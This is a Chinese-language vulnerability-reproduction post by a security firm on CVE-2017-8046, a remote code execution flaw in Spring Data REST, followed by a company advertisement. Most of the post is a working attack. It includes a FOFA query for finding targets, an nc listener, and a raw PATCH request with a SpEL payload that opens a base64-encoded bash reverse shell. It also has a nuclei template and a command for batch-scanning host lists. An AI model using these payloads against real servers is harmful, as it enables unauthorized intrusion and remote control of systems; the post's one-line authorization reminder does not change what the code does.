漏洞复现 CVE-2017-8046 Spring Data Rest RCE

0x01 漏洞描述

SpringDataREST是一个构建在SpringData之上，为了帮助开发者更加容易地开发REST风格的Web服务。在RESTAPI的Patch方法中（实现RFC6902），path的值被传入setValue，导致执行了SpEL表达式，触发远程命令执行漏洞。

0x02 漏洞复现

漏洞影响:

pivotal Spring Data REST < 2.5.12 2.6.7 3.0 RC3
pivotal Spring Boot < 2.0.0M4
pivotal Spring Data < Kay-RC3

FOFA:app="spring"

1.nc监听7777端口，并执行payload，得到一个shell

1.反弹shell的payload需要bash64加解密，网址：https://ir0ny.top/pentest/reverse-encoder-shell.html2.base64加解密后，需要转为ASCII10进制，用小葵字典转换即可3.payloadPATCH /customers/1 HTTP/1.1Host: x.x.x.x:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/json-patch+jsonContent-Length: 460[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,82,62,42,74,102,65,118,90,72,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,77,120,76,106,99,121,76,122,92,51,78,122,92,103,77,68,52,109,77,81,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname", "value": "vulhub" }]

2.nuclei漏洞脚本如下（nuclei稳定快，编写poc简单，有社区维护，推荐使用）

nuclei下载地址：https://github.com/projectdiscovery/nuclei

批量验证命令：nuclei.exe -t CVE-2017-8046.yaml -l subs.txtyaml POC：id: CVE-2017-8046info:  name: Spring Data Rest RCE  author: sm  severity: critical  description: |    Malicious PATCH requests submitted to servers using Spring Data REST backed HTTP resources can use specially crafted JSON data to run arbitrary Java code.  reference:    - https://tanzu.vmware.com/security/cve-2017-8046  classification:    cve-id: CVE-2017-8046  tags: cverequests:  - raw:      - |        PATCH /customers/1 HTTP/1.1        Host: {{Hostname}}        Accept-Encoding: gzip, deflate        Accept: */*        Accept-Language: en        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)        Connection: close        Content-Type: application/json-patch+json        Content-Length: 142        [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{108,115}))/lastname", "value": "ry" }]    matchers:      - type: word        words:          - "status_code_1==400"          - "cause"          - "message"        condition: and

(注：要在正规授权情况下测试网站：日站不规范，亲人泪两行)

0x03 公司简介

江西渝融云安全科技有限公司，2017年发展至今，已成为了一家集云安全、物联网安全、数据安全、等保建设、风险评估、信息技术应用创新及网络安全人才培训为一体的本地化高科技公司，是江西省信息安全产业链企业和江西省政府部门重点行业网络安全事件应急响应队伍成员。
公司现已获得信息安全集成三级、信息系统安全运维三级、风险评估三级等多项资质认证，拥有软件著作权十八项；荣获2020年全国工控安全深度行安全攻防对抗赛三等奖；庆祝建党100周年活动信息安全应急保障优秀案例等荣誉......

编制：sm

审核：fjh

审核：Dog